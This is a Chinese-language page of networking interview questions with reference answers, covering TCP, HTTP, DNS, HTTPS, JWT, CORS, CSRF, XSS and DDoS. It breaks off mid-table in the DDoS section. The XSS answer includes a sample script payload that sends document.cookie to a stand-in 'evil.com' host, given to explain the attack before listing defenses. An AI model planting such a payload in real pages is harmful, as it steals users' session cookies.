Skip to content

计算机网络高频题

网络题的答题诀窍:按分层模型组织答案,先说"哪一层",再说"解决什么问题"。

Q1: TCP 三次握手的过程?为什么不是两次? 「🟢 校招/初级」

考察点:最高频网络题,考察对连接建立本质的理解。

参考答案

  1. 客户端发送 SYN(seq=x),进入 SYN_SENT。
  2. 服务端回 SYN+ACK(seq=y, ack=x+1),进入 SYN_RCVD。
  3. 客户端回 ACK(ack=y+1),双方进入 ESTABLISHED。

不能两次的原因:两次握手无法让服务端确认客户端的接收能力,还会让历史失效的 SYN 到达服务端后直接建立连接,浪费资源。三次握手的本质是双方各自确认收发能力都正常

追问延伸

  • SYN flood 攻击的原理和 SYN Cookie 防御?
  • 第三次握手可以携带数据吗?(可以)

Q2: TCP 四次挥手的过程?为什么需要 TIME_WAIT? 「🟢 校招/初级」

考察点:连接关闭的可靠性细节。

参考答案

  1. 主动方发 FIN,进入 FIN_WAIT_1。
  2. 被动方回 ACK,进入 CLOSE_WAIT;主动方进入 FIN_WAIT_2。
  3. 被动方数据发完后发 FIN,进入 LAST_ACK。
  4. 主动方回 ACK,进入 TIME_WAIT,等待 2MSL 后关闭。

TIME_WAIT(2MSL)的作用:① 保证最后一个 ACK 丢失时被动方可以重发 FIN;② 让本次连接的旧报文在网络中消亡,避免污染新连接。

追问延伸

  • 大量 TIME_WAIT / CLOSE_WAIT 分别说明什么问题?
  • SO_REUSEADDRtcp_tw_reuse 是什么?

Q3: TCP 怎么保证可靠传输? 「🟡 中级」

考察点:TCP 核心机制的完整性。

参考答案

  • 序号与确认:字节流编号 + ACK 确认收到。
  • 超时重传 + 快速重传:收到 3 个重复 ACK 立即重传,不等超时。
  • 滑动窗口:接收方通告窗口大小做流量控制。
  • 拥塞控制:慢启动 → 拥塞避免 → 快重传 → 快恢复,感知网络拥塞主动降速。
  • 校验和:检测传输中的比特错误。

追问延伸

  • 流量控制和拥塞控制的区别?(接收端能力 vs 网络容量)
  • 拥塞窗口和发送窗口的关系?

Q4: TCP 和 UDP 的区别?各自的应用场景? 「🟢 校招/初级」

考察点:协议选型的判断力。

参考答案

维度TCPUDP
连接面向连接无连接
可靠性可靠(确认重传)尽最大努力交付
顺序保证有序不保证
头部20 字节起8 字节
速度较慢
  • TCP 场景:文件传输、HTTP/1.1、邮件;UDP 场景:DNS 查询、视频直播、游戏同步、QUIC 的底层。

追问延伸

  • 怎么在 UDP 上实现可靠传输?(QUIC 的思路)
  • 为什么 DNS 主要用 UDP?什么情况用 TCP?

Q5: 从输入 URL 到页面展示,发生了什么? 「🟡 中级」

考察点:综合性大题,考察知识串联能力。

参考答案(按顺序):

  1. URL 解析:判断是搜索还是地址,解析出协议、域名、路径。
  2. 缓存检查:强缓存(Cache-Control)→ 协商缓存(ETag/Last-Modified)。
  3. DNS 解析:浏览器缓存 → 系统缓存 → hosts → 递归/迭代查询。
  4. 建立连接:三次握手;HTTPS 还要 TLS 握手。
  5. 发送请求:构造报文,可能经过代理、CDN、负载均衡。
  6. 服务器处理并返回响应
  7. 浏览器渲染:解析 HTML 构建 DOM、CSS 构建 CSSOM、合成渲染树、布局、绘制;遇到 script 阻塞。
  8. 连接关闭:四次挥手(或 keep-alive 复用)。

追问延伸

  • 浏览器并发连接数限制?HTTP/2 怎么解决?
  • 渲染过程中遇到 <img><script> 分别怎么处理?

Q6: 什么是粘包?怎么解决? 「🟡 中级」

考察点:对 TCP 字节流本质的理解。

参考答案

  • TCP 是字节流协议,没有消息边界;Nagle 算法、接收缓冲区合并都会导致多个应用层报文粘在一起(或一个报文被拆成多段)。
  • 解决方案都在应用层:① 定长消息;② 分隔符(如 \r\n);③ 长度前缀(最常用,先读 4 字节长度再读内容);④ 自定义协议头。
  • UDP 是数据报协议,有天然边界,不存在粘包。

追问延伸

  • Netty 里处理粘包有哪些解码器?
  • 长度前缀用大端还是小端,为什么?

Q8: TCP 三次握手中,如果最后一次 ACK 丢失了会怎样? 「🟡 中级」

考察点:TCP握手异常场景的理解。

参考答案

如果第三次握手的 ACK 丢失:

  • 服务端:处于 SYN_RCVD 状态,收不到 ACK 会重发 SYN+ACK(默认重试5次,间隔1/2/4/8/16秒,共约63秒),超时后关闭连接。
  • 客户端:已进入 ESTABLISHED 状态,会开始发送数据。服务端收到数据后,由于连接未完全建立,会回复 RST 或忽略。
  • 结果:连接建立失败,客户端收到 RST 后报 Connection Reset。

其他握手异常场景:

  • 第一次 SYN 丢失:客户端超时重发 SYN(tcp_syn_retries,默认6次),超时后连接失败。
  • 第二次 SYN+ACK 丢失:服务端重发 SYN+ACK(tcp_synack_retries,默认5次),客户端收不到会重发 SYN。
  • SYN Flood 攻击:攻击者大量发 SYN 不发 ACK → 服务端半连接队列满 → 正常连接无法建立。防御:SYN Cookie(不分配半连接资源)、减小 SYN+ACK 重试次数、增大半连接队列。

追问延伸

  • SYN Flood 攻击怎么防御?
  • 半连接队列和全连接队列的关系?

Q9: TCP 四次挥手中,为什么需要等 2MSL? 「🟡 中级」

考察点:TIME_WAIT 状态存在的意义。

参考答案

2MSL(Maximum Segment Lifetime)的等待原因:

  1. 保证最后一个 ACK 到达对端
    • 主动关闭方(TIME_WAIT 端)发送的最后一个 ACK 可能丢失
    • 被动关闭方(LAST_ACK 端)收不到 ACK 会重发 FIN
    • 主动关闭方在 2MSL 内还能收到重发的 FIN,可以重新发送 ACK
    • 如果不等 2MSL 就关闭,重发的 FIN 就没人回应了
  2. 防止旧连接的报文干扰新连接
    • 2MSL 后,本次连接的所有报文都会从网络中消失
    • 如果立刻建立相同四元组的新连接,旧报文可能被新连接误收

MSL 是报文最大生存时间(TCP 首部有 TTL),Linux 默认 MSL=30秒,所以 2MSL=60秒。为什么是 2 倍:一个 MSL 保证发送的 ACK 能到达对端,另一个 MSL 保证对端重发的 FIN 能到达自己。

大量 TIME_WAIT 的原因和解决:

  • 原因:服务端主动关闭连接(如 HTTP/1.0 short-lived、爬虫)
  • 影响:占用端口(默认可用端口约 28000 个)、占用内存
  • 解决:
    • tcp_tw_reuse=1:允许新连接复用 TIME_WAIT 端口(客户端)
    • tcp_tw_recycle=1:快速回收(4.12前可用,有 NAT 环境风险,已废弃)
    • tcp_max_tw_buckets:限制 TIME_WAIT 数量
    • 用长连接(keep-alive)减少连接建立/断开

追问延伸

  • 为什么 tcp_tw_recycle 在 NAT 环境下有风险?
  • 服务端出现大量 TIME_WAIT 正常吗?

Q10: TCP 的拥塞控制有哪些算法? 「🟡 中级」

考察点:TCP 拥塞控制机制的深入理解。

参考答案

拥塞控制 vs 流量控制:

  • 流量控制:端到端,接收方通过滑动窗口告诉发送方"我能收多少"
  • 拥塞控制:感知网络拥塞程度,控制发送速率

四个经典算法:

  1. 慢启动(Slow Start):
    • 初始拥塞窗口 cwnd=1(MSS)
    • 每收到一个 ACK,cwnd 加1(指数增长:1→2→4→8→16...)
    • 达到慢启动门限 ssthresh 后转为线性增长
  2. 拥塞避免(Congestion Avoidance):
    • cwnd 超过 ssthresh 后,每经过一个 RTT cwnd 加1(线性增长)
    • 增长慢,避免网络拥塞
  3. 快重传(Fast Retransmit):
    • 接收方收到乱序报文时连续发重复 ACK
    • 发送方收到 3 个重复 ACK → 立即重传丢失的报文(不等超时)
    • ssthresh = cwnd / 2,cwnd = ssthresh
  4. 快恢复(Fast Recovery):
    • 快重传后不回到慢启动,而是从 ssthresh 开始线性增长
    • 避免过度降低发送速率

超时重传(最严重的情况):

  • ssthresh = cwnd / 2,cwnd = 1(回到慢启动)

新算法:

  • BBR(Google):基于带宽和 RTT 估计,不依赖丢包,更高效
  • Linux 4.9+ 默认 CUBIC,可切换 BBR

追问延伸

  • 慢启动为什么叫"慢"?(相对突然大量发送导致拥塞而言)
  • BBR 和基于丢包的算法有什么区别?

Q11: HTTP 报文的结构是怎样的? 「🟢 校招/初级」

考察点:HTTP 协议的基础知识。

参考答案

HTTP 报文分为请求报文和响应报文:

请求报文

POST /api/user HTTP/1.1       ← 请求行:方法 URL 协议版本
Host: www.example.com          ← 请求头
Content-Type: application/json
Content-Length: 25
                               ← 空行(CRLF)
{"name":"张三","age":20}       ← 请求体

响应报文

HTTP/1.1 200 OK                ← 状态行:协议版本 状态码 原因短语
Content-Type: application/json ← 响应头
Content-Length: 15
                               ← 空行
{"code":0,"msg":""}            ← 响应体

请求方法:GET、POST、PUT、DELETE、PATCH、HEAD、OPTIONS、CONNECT、TRACE

状态码分类:1xx信息、2xx成功、3xx重定向、4xx客户端错误、5xx服务端错误

HTTP 长连接(Keep-Alive):

  • HTTP/1.0 默认短连接(每次请求新建 TCP)
  • HTTP/1.1 默认长连接(Connection: keep-alive,TCP 复用)
  • 长连接减少 TCP 握手/挥手开销

断点续传:

  • 客户端:Range: bytes=1000-2000(请求第1000-2000字节)
  • 服务端:206 Partial Content + Content-Range: bytes 1000-2000/5000
  • 用于大文件下载、视频流

追问延伸

  • HTTP/1.1 的长连接和 HTTP/2 的多路复用有什么区别?
  • 301 和 302 的区别?什么时候用 308?

Q12: HTTP 长连接和 WebSocket 有什么区别? 「🟡 中级」

考察点:实时通信方案的对比选型。

参考答案

HTTP 长连接(Keep-Alive):

  • 基于 HTTP 协议,TCP 连接复用
  • 仍然是请求-响应模式(客户端发请求,服务端才响应)
  • 服务端不能主动推送(只能用长轮询/SSE 模拟)
  • 连接空闲超时会被关闭

WebSocket:

  • 全双工通信(客户端和服务端都能主动发消息)
  • 基于 TCP,握手用 HTTP(Upgrade: websocket),之后切换到 WebSocket 协议
  • 数据帧格式轻量(2-10字节头部)
  • 没有同源策略限制(需自己处理安全)

对比:

维度HTTP 长连接WebSocketSSE长轮询
通信方式请求-响应全双工服务端推送请求-响应
底层协议HTTPTCP(WS)HTTPHTTP
服务端推送不支持支持支持(单向)间接支持
连接复用复用TCP持久TCP持久HTTP每次新建
适用场景普通Web聊天/协作通知/股票简单推送

选型建议:

  • 实时双向通信(聊天、游戏、协作)→ WebSocket
  • 服务端推送(通知、股票行情)→ SSE
  • 普通请求 → HTTP 长连接
  • 兼容性要求高、简单推送 → 长轮询

追问延伸

  • WebSocket 怎么做心跳保活?
  • SSE 和 WebSocket 怎么选?

Q13: TCP 粘包和拆包是什么?怎么解决? 「🟡 中级」

考察点:TCP 流式协议的特性理解。

参考答案

TCP 是面向流的协议,没有消息边界,所以会出现:

  • 粘包:多个小包合并成一个大包发送(Nagle 算法优化)
  • 拆包:一个大包被拆成多个小包发送

UDP 不会粘包/拆包(面向报文,每个 UDP 包有明确边界)。

解决方案(核心思路:在应用层定义消息边界):

  1. 固定长度:每条消息固定长度(不够补齐),简单但浪费带宽
  2. 分隔符:用特殊字符(如 \r\n)分隔消息(如 FTP、Redis 协议)
  3. 长度字段:消息头中包含消息体长度(最常用)
    • 如:[4字节长度][消息体],先读长度,再读对应字节数的消息体
  4. 自定义协议:更复杂的协议格式(如 magic number + version + length + body + checksum)

Netty 中的实现:

  • FixedLengthFrameDecoder:固定长度
  • LineBasedFrameDecoder / DelimiterBasedFrameDecoder:分隔符
  • LengthFieldBasedFrameDecoder:长度字段(最常用)

追问延伸

  • 为什么 TCP 会粘包但 UDP 不会?
  • Nagle 算法和粘包有什么关系?

Q14: HTTP 和 RPC 有什么区别?为什么有了 HTTP 还要用 RPC? 「🟡 中级」

考察点:远程通信协议的对比理解。

参考答案

HTTP 和 RPC 的核心区别:

维度HTTPRPC
设计目标面向资源(RESTful)面向方法(像调用本地方法)
协议文本协议(可读性好)二进制协议(紧凑高效)
序列化JSON/XML(体积大)Protobuf/Hessian/Thrift(体积小)
性能高(序列化小+连接复用)
服务发现DNS/网关注册中心(Nacos/ZK)
语义GET/POST/PUT/DELETE像本地调用(方法名+参数)
生态跨语言、通用框架绑定(gRPC/Dubbo)

有了 HTTP 为什么还要 RPC:

  1. 性能:RPC 用二进制序列化(Protobuf),比 JSON 小 3-10 倍,网络传输更快
  2. 开发体验:RPC 像调用本地方法一样调用远程服务(透明),HTTP 需要手动处理请求/响应
  3. 服务治理:RPC 框架内置负载均衡、熔断、限流、链路追踪(HTTP 需要自己搭)
  4. 连接管理:RPC 通常用长连接(单个 TCP 连接复用),HTTP/1.1 也有但不如 RPC 高效

什么时候用 HTTP:

  • 对外 API(第三方调用,跨语言,通用)
  • 前端 → 后端(浏览器只能发 HTTP)
  • 简单场景、低 QPS

什么时候用 RPC:

  • 内部服务间调用(高性能、强类型、服务治理)
  • 微服务架构内部通信

gRPC 是趋势:基于 HTTP/2 + Protobuf,兼具 HTTP 的通用性和 RPC 的高性能。

追问延伸

  • gRPC 和 Dubbo 的区别?
  • RESTful API 和 RPC 的风格差异?

Q15: 网页加载很慢,怎么排查? 「🟡 中级」

考察点:前端性能问题的排查能力。

参考答案

排查链路(从前到后):

  1. DNS 解析慢
    • 命令:nslookup / dig
    • 检查 DNS 服务器响应时间
    • 解决:换公共 DNS(114.114.114.114 / 8.8.8.8)、DNS 预解析
  2. TCP 连接慢
    • 命令:traceroute / tracert
    • 检查网络延迟、丢包
    • 解决:CDN 加速、就近部署
  3. 服务端响应慢
    • 检查服务端 RT(Response Time)
    • APM 工具(SkyWalking / Zipkin)
    • 解决:优化 SQL、加缓存、异步化
  4. 资源加载慢
    • 浏览器 DevTools → Network 面板
    • 看每个资源的加载时间(TTFB、Content Download)
    • 解决:压缩、合并、CDN、缓存
  5. 渲染慢
    • 浏览器 DevTools → Performance 面板
    • 检查 JS 执行时间、布局重排、图片解码
    • 解决:减少 DOM 操作、虚拟列表、懒加载
  6. 前端排查工具
    • Chrome DevTools(Network/Performance/Lighthouse)
    • WebPageTest(多地域测试)
    • Lighthouse(性能评分)

关键指标:

  • FCP(First Contentful Paint):首次内容绘制
  • LCP(Largest Contentful Paint):最大内容绘制(< 2.5s)
  • FID(First Input Delay):首次输入延迟(< 100ms)
  • CLS(Cumulative Layout Shift):布局偏移(< 0.1)

追问延伸

  • TTFB 慢是什么原因?
  • 前端性能优化的常见手段有哪些?

Q16: OSI 七层模型与 TCP/IP 四层模型分别是什么? 「🟢 校招/初级」

考察点:网络分层模型的基础知识。

参考答案

OSI 七层模型(理论参考):

层级名称功能协议示例
7应用层为用户提供网络服务HTTP、FTP、DNS、SMTP
6表示层数据格式转换、加密压缩SSL/TLS、JPEG
5会话层建立/管理/终止会话RPC、SOCKS
4传输层端到端通信、可靠性TCP、UDP
3网络层路由转发、逻辑寻址IP、ICMP、OSPF
2数据链路层物理寻址、帧封装ARP、Ethernet
1物理层比特流传输RS-232、RJ45

TCP/IP 四层模型(工程实际):

层级名称对应 OSI协议
4应用层5-7HTTP、FTP、DNS、SMTP、SSH
3传输层4TCP、UDP
2网络层3IP、ICMP、ARP
1网络接口层1-2Ethernet、Wi-Fi

为什么要分层:

  • 各层独立设计,接口清晰,降低复杂度
  • 灵活性好(某层技术变化不影响其他层)
  • 易于标准化和维护

面试记忆口诀(OSI 从下往上):物数网传会表应。

追问延伸

  • ARP 属于哪一层?(网络层/数据链路层有争议,TCP/IP 模型中归网络层)
  • 为什么 OSI 没有流行起来?(过于理想化,实现复杂)

Q17: HTTP 常见状态码有哪些?301、302、304、502、504 的区别? 「🟢 校招/初级」

考察点:HTTP 状态码的实际理解。

参考答案

状态码分类:

分类含义常见状态码
1xx信息性100 Continue
2xx成功200 OK、201 Created、206 Partial Content
3xx重定向301、302、304、307、308
4xx客户端错误400、401、403、404、429
5xx服务端错误500、502、503、504

重点区分:

  • 301 Moved Permanently:永久重定向。搜索引擎会更新索引,用于域名迁移、HTTP→HTTPS。
  • 302 Found:临时重定向。搜索引擎保留原 URL,用于临时跳转(如登录重定向)。
  • 304 Not Modified:协商缓存命中。客户端发 If-Modified-Since/If-None-Match,服务端确认没修改则返回 304,客户端用本地缓存。
  • 502 Bad Gateway:网关/代理收到了上游服务的无效响应(如上游服务崩溃、返回格式错误)。
  • 504 Gateway Timeout:网关/代理等待上游服务响应超时(如上游服务处理太慢)。

其他高频状态码:

  • 401 Unauthorized:未认证(需要登录)。
  • 403 Forbidden:已认证但无权限访问。
  • 429 Too Many Requests:限流触发。

追问延伸

  • 301 和 302 对 SEO 有什么不同影响?
  • 502 和 504 排查思路分别是什么?

Q18: GET 和 POST 有什么区别? 「🟢 校招/初级」

考察点:HTTP 方法的核心区别。

参考答案

维度GETPOST
语义获取资源提交数据
参数位置URL 查询字符串(?key=value)请求体(Body)
长度限制浏览器/服务器对 URL 长度有限制(约2KB)理论上无限制(受服务器配置限制)
编码类型application/x-www-form-urlencoded多种(form-data、json、text等)
缓存可被缓存(CDN、浏览器)默认不缓存
历史URL 保留在历史记录不保留
幂等性幂等不幂等
安全性参数暴露在 URL相对隐蔽(但都是明文,HTTPS 才加密)

注意误区:

  • GET 和 POST 本质上都是 HTTP 请求,底层都是 TCP 连接,没有"GET 不能有 Body"的硬性规定(HTTP 规范允许,但部分服务器/代理会忽略)
  • POST 不比 GET 安全(抓包都能看到),安全靠 HTTPS
  • GET 请求可以产生幂等副作用(如查询日志),POST 不幂等是语义上的约定

追问延伸

  • PUT 和 PATCH 的区别?(PUT 全量替换,PATCH 部分更新)
  • RESTful API 怎么用 HTTP 方法映射 CRUD?

Q19: HTTP 和 HTTPS 的区别?HTTPS 的握手过程? 「🟡 中级」

考察点:HTTPS 加密原理的核心面试题。

参考答案

HTTP vs HTTPS:

维度HTTPHTTPS
端口80443
安全性明文传输TLS/SSL 加密
证书不需要需要 CA 证书
性能略慢(TLS 握手 + 加解密)
SEO无优势搜索引擎优先收录

HTTPS = HTTP + TLS/SSL,加密方式:混合加密(非对称加密交换密钥 + 对称加密传输数据)。

TLS 握手过程(TLS 1.2):

  1. Client Hello:客户端发送支持的 TLS 版本、加密套件列表、随机数 Client Random。
  2. Server Hello:服务端选择 TLS 版本和加密套件,返回随机数 Server Random + 服务器证书(含公钥)。
  3. 客户端验证证书:检查证书签名链(CA→中间CA→服务器证书)、有效期、域名匹配。
  4. 生成预主密钥:客户端生成 Pre-Master Secret,用服务器公钥加密后发送(RSA)或用 ECDHE 密钥交换。
  5. 双方计算会话密钥:Client Random + Server Random + Pre-Master Secret → 对称密钥。
  6. ** Finished**:双方发送加密的握手完成消息,之后用对称加密通信。

TLS 1.3 优化(1-RTT 甚至 0-RTT):

  • 握手从 4 次降为 2 次(合并部分步骤)
  • 废弃 RSA 密钥交换,只用 ECDHE(支持前向保密)
  • 支持 0-RTT 恢复(已有会话凭证时直接发数据)

追问延伸

  • HTTPS 能防中间人攻击吗?原理是什么?(证书信任链 + 数字签名)
  • 对称加密和非对称加密各有什么优缺点?

Q20: HTTP/1.1、HTTP/2、HTTP/3 的区别是什么? 「🟡 中级」

考察点:HTTP 协议演进的了解。

参考答案

维度HTTP/1.1HTTP/2HTTP/3
传输层TCPTCPQUIC(UDP)
多路复用不支持支持支持
头部压缩不支持HPACKQPACK
服务端推送不支持支持支持
队头阻塞有(TCP层+HTTP层)部分解决(HTTP层,TCP层仍有)彻底解决
连接建立TCP 3次握手TCP 3次握手 + TLSQUIC 1-RTT/0-RTT

HTTP/1.1 的问题:

  • 队头阻塞:一个请求阻塞后续请求(同一 TCP 连接上只能串行)
  • 解决方案:管线化(失败)→ 域名分片(开多个连接)→ Keep-Alive

HTTP/2 的改进:

  • 二进制分帧:数据分成帧传输,不再是文本协议
  • 多路复用:一个 TCP 连接上并行多个请求/响应
  • 头部压缩:HPACK 算法(静态表 + 动态表 + 哈夫曼编码)
  • 服务端推送:主动推送资源(如 CSS/JS)
  • 问题:TCP 层仍有队头阻塞(一个包丢失,整个连接等待)

HTTP/3 的改进:

  • 基于 QUIC(Quick UDP Internet Connections),Google 开发
  • QUIC 基于 UDP,内置加密(TLS 1.3)
  • 无 TCP 队头阻塞:一个流丢包不影响其他流
  • 连接迁移:网络切换(WiFi→4G)不断连接,用 Connection ID 而非四元组
  • 更快的连接建立:1-RTT 甚至 0-RTT

追问延伸

  • HTTP/2 为什么没有完全解决队头阻塞?(TCP 层)
  • QUIC 为什么用 UDP 而不是 TCP?(避免内核态 TCP 栈开销,用户态实现更灵活)

Q21: DNS 域名解析的过程是什么? 「🟢 校招/初级」

考察点:DNS 解析链路的完整性。

参考答案

DNS 解析流程(以 www.example.com 为例):

  1. 浏览器缓存:先查浏览器自身的 DNS 缓存(TTL 过期则丢弃)。
  2. 操作系统缓存:查 OS 的 DNS 缓存(如 Windows 的 DNS Cache)。
  3. hosts 文件:查本地 hosts 文件是否有映射。
  4. 本地 DNS 服务器(递归查询开始):向配置的 DNS 服务器(如 8.8.8.8 或运营商 DNS)发起查询。
  5. 根域名服务器(迭代查询):本地 DNS 找不到则问根服务器 → 返回 .com 顶级域名服务器地址。
  6. 顶级域名服务器(.com):返回 example.com 的权威 DNS 服务器地址。
  7. 权威域名服务器:返回 www.example.com 的 A 记录(IP 地址)。
  8. 本地 DNS 缓存结果并返回给客户端,客户端也缓存。

递归 vs 迭代:

  • 递归:客户端→本地DNS,本地DNS 负责一路查到底(客户端只问一次)
  • 迭代:本地DNS→根→顶级→权威,每一步得到下一步地址自己去查

DNS 记录类型:

类型含义
A域名→IPv4 地址
AAAA域名→IPv6 地址
CNAME域名→另一个域名(别名)
MX邮件服务器
NS域名的权威服务器
TXT文本记录(SPF、验证等)

DNS 为什么主要用 UDP:

  • DNS 查询/响应通常很小(<512字节),UDP 快速高效
  • 需要可靠传输时切换 TCP(响应超过512字节、区域传输)

追问延伸

  • DNS 劫持是什么?怎么防?(DoH/DoT 加密 DNS 查询)
  • CDN 怎么用 DNS 做就近接入?(智能 DNS 根据来源 IP 返回最近 CDN 节点)

Q22: Cookie、Session、Token 的区别? 「🟡 中级」

考察点:状态管理方案的对比理解。

参考答案

维度CookieSessionToken(JWT)
存储位置客户端(浏览器)服务端客户端(localStorage/Cookie)
安全性低(可被读取/篡改)中(客户端只有 SessionID)中(签名防篡改,但 Payload 明文)
扩展性差(需要共享 Session)好(无状态)
过期方式可设置过期时间服务器 Session 超时Token 自带 exp
跨域受同源策略限制同 Cookie可配合 CORS/Authorization

Cookie:

  • 服务器通过 Set-Cookie 响应头下发,浏览器自动存储并在后续请求中自动携带
  • 属性:DomainPathExpiresHttpOnly(防 XSS 读取)、Secure(仅 HTTPS)、SameSite(防 CSRF)
  • 容量限制:约 4KB

Session:

  • 服务器创建 Session 对象,生成唯一 SessionID 下发给客户端(通常存在 Cookie 中)
  • 每次请求带 SessionID,服务器查找对应的 Session 数据
  • 问题:多台服务器需要 Session 共享(Redis/Sticky Session/JWT 替代)

Token(JWT):

  • 服务器无状态,客户端持有 Token,每次请求放在 Authorization: Bearer <token> 头中
  • 适合分布式/微服务架构、移动端、SSO 单点登录

选型建议:

  • 传统 Web 应用(同域、服务端渲染)→ Cookie + Session
  • 前后端分离、移动端、跨域 → Token(JWT)
  • 需要服务端主动让会话失效 → Session
  • 不需要服务端管理状态 → JWT

追问延伸

  • Cookie 的 HttpOnly 和 SameSite 各防什么攻击?
  • 禁用 Cookie 后 Session 还能用吗?(可以,把 SessionID 放 URL 或自定义 Header)

Q23: JWT 的原理和结构是什么?有什么优缺点? 「🟡 中级」

考察点:JWT 的深入理解。

参考答案

JWT(JSON Web Token):一种用于身份认证的开放标准(RFC 7519),以 JSON 格式编码的令牌。

JWT 结构(三部分用 . 分隔):

Header.Payload.Signature
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSIsImV4cCI6MTYwOTQ2MDAwMH0.signature
  1. Header(头部):算法类型 + Token 类型
    json
    {"alg": "HS256", "typ": "JWT"}
  2. Payload(载荷):声明信息(不加密,不要放敏感数据)
    json
    {"sub": "user1", "name": "张三", "exp": 1609460000, "role": "admin"}
    • 标准声明:iss(签发者)、sub(主体)、exp(过期时间)、iat(签发时间)
  3. Signature(签名):用 Header 中指定的算法 + 密钥对 base64(Header) + "." + base64(Payload) 签名
    HMACSHA256(base64(Header) + "." + base64(Payload), secretKey)

JWT 认证流程:

  1. 用户登录成功 → 服务器生成 JWT(签名)返回给客户端
  2. 客户端存储 JWT(localStorage 或 Cookie)
  3. 后续请求在 Authorization: Bearer <token> 头中携带 JWT
  4. 服务器验证签名(确保未篡改)+ 检查 exp(是否过期)→ 通过则处理请求

优点:

  • 无状态:服务端不存储 Session,天然支持分布式/集群
  • 跨域友好:通过 Header 传递,不受 Cookie 同源策略限制
  • 自包含:Payload 中携带用户信息,减少数据库查询

缺点:

  • 无法主动失效:签发后到过期前一直有效(解决方案:黑名单、短有效期+Refresh Token)
  • Payload 明文:只是 Base64 编码,不是加密(不要放敏感信息)
  • Token 大小:比 SessionID 大,每次请求都传输
  • 续签复杂:过期后需要重新签发或用 Refresh Token

追问延伸

  • JWT 泄露了怎么办?(撤销/黑名单 + 缩短有效期 + 使用 HTTPS)
  • JWT 和 OAuth2.0 的关系是什么?(JWT 是 Token 格式,OAuth2.0 是认证框架)

Q24: 什么是跨域?CORS 的原理是什么? 「🟡 中级」

考察点:浏览器同源策略和跨域方案。

参考答案

同源策略:浏览器安全策略,要求协议、域名、端口三者都相同才能互相访问资源(AJAX 请求、Cookie、DOM)。

跨域场景:

URL AURL B是否同源原因
http://a.com/pagehttp://a.com/api✅ 同源-
http://a.comhttps://a.com❌ 跨域协议不同
http://a.com:80http://a.com:8080❌ 跨域端口不同
http://a.comhttp://b.com❌ 跨域域名不同

CORS(Cross-Origin Resource Sharing)原理:

  • 服务端在响应头中声明允许哪些源访问
  • 浏览器检查响应头,决定是否把结果给 JavaScript

简单请求(GET/HEAD/POST + 标准头部):

  • 浏览器直接发请求,带上 Origin
  • 服务端返回 Access-Control-Allow-Origin: * 或具体源
  • 浏览器检查通过则允许读取响应

预检请求(非简单请求,如 PUT/DELETE、自定义头部、Content-Type: application/json):

  1. 浏览器先发 OPTIONS 请求(预检)
  2. 服务端返回允许的方法、头部、缓存时间
  3. 预检通过后才发真实请求

关键响应头:

Access-Control-Allow-Origin: https://a.com       ← 允许的源
Access-Control-Allow-Methods: GET, POST, PUT     ← 允许的方法
Access-Control-Allow-Headers: Content-Type       ← 允许的请求头
Access-Control-Allow-Credentials: true           ← 允许带 Cookie
Access-Control-Max-Age: 86400                     ← 预检结果缓存时间

注意:Allow-Origin: *Allow-Credentials: true 不能同时使用。带 Cookie 时必须指定具体源。

其他跨域方案:

  • JSONP:利用 <script> 标签不受同源策略限制,只支持 GET
  • 代理服务器:前端请求同源的代理服务器,代理服务器请求目标服务(Nginx 反代)
  • postMessage:窗口间通信(iframe、弹窗)

追问延伸

  • 为什么 CORS 预检请求用 OPTIONS?
  • Cookie 跨域怎么处理?(withCredentials: true + 服务端 Allow-Credentials: true

Q25: CSRF 攻击是什么?怎么防御? 「🟡 中级」

考察点:Web 安全的基础认知。

参考答案

CSRF(Cross-Site Request Forgery,跨站请求伪造):攻击者诱导用户在已登录的网站上执行非自愿的操作。

攻击原理:

  1. 用户登录银行网站 A,浏览器保存了 A 的 Cookie
  2. 用户访问恶意网站 B,B 中有个表单自动提交到 A 的转账接口
  3. 浏览器自动带上 A 的 Cookie → 转账请求成功执行

与 XSS 的区别:CSRF 是利用用户的身份(Cookie),XSS 是注入恶意脚本执行。

防御方案:

  1. SameSite Cookie(推荐):
    • Set-Cookie: sessionid=xxx; SameSite=Strict → 跨站请求不带 Cookie
    • SameSite=Lax:导航到目标 URL 时带 Cookie,其他跨站不带(浏览器默认值)
  2. CSRF Token
    • 服务端生成随机 Token,放在表单隐藏域或 Header 中
    • 提交时验证 Token,攻击者无法获取 Token → 请求被拒
  3. Referer/Origin 校验
    • 检查请求来源是否合法(Referer 或 Origin 头)
    • 缺点:Referer 可被禁用/篡改
  4. 双重 Cookie 验证
    • Cookie 中设一个随机值,请求时在 URL/Header 中带上同一个值
    • 服务端比对两者是否一致

追问延伸

  • SameSite=Strict 对用户体验有什么影响?(从外部链接进入已登录网站需要重新登录)
  • CORS 能防 CSRF 吗?(不能,CORS 是浏览器对响应的拦截,CSRF 是请求被发送)

Q26: XSS 攻击是什么?怎么防御? 「🟡 中级」

考察点:Web 安全攻击与防御。

参考答案

XSS(Cross-Site Scripting,跨站脚本攻击):攻击者向网页中注入恶意 JavaScript 脚本,在用户浏览时执行。

XSS 类型:

类型原理持久性示例
反射型恶意脚本在 URL 中,服务端反射到页面非持久search?q=<script>...</script>
存储型恶意脚本存入数据库,其他用户访问时触发持久评论/留言中注入脚本
DOM型纯前端 JavaScript 操作 DOM 引入非持久innerHTML = userInput

攻击示例:

html
<!-- 攻击者在评论区写入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
<!-- 其他用户查看评论时,Cookie 被发送到攻击者服务器 -->

防御方案:

  1. 输入输出编码(核心防御):
    • 对用户输入做 HTML 实体编码:<&lt;>&gt;"&quot;'&#x27;
    • 根据上下文选择编码方式(HTML 上下文、JS 上下文、URL 上下文)
  2. CSP(Content Security Policy)
    • Content-Security-Policy: default-src 'self'; script-src 'self'
    • 限制脚本来源,禁止内联脚本和外部脚本
  3. HttpOnly Cookie
    • Set-Cookie: sessionid=xxx; HttpOnly
    • JavaScript 无法读取 Cookie,即使 XSS 成功也无法窃取
  4. 避免危险 API
    • 不用 innerHTMLdocument.write(),用 textContentcreateElement
    • 框架默认转义(Vue 的 、React 的 {} 默认编码,v-htmldangerouslySetInnerHTML 才有风险)

追问延伸

  • 存储型 XSS 和反射型 XSS 哪个更危险?(存储型,影响面更大)
  • CSP 怎么配置才能有效防 XSS?

Q27: DDoS 攻击是什么?怎么防御? 「🔴 高级」

考察点:大规模网络攻击的防御思路。

参考答案

DDoS(Distributed Denial of Service,分布式拒绝服务):攻击者控制大量僵尸网络(Botnet),同时向目标发送海量请求,耗尽带宽/连接/资源导致正常用户无法访问。

DDoS 攻击类型:

类型攻击层手段示例
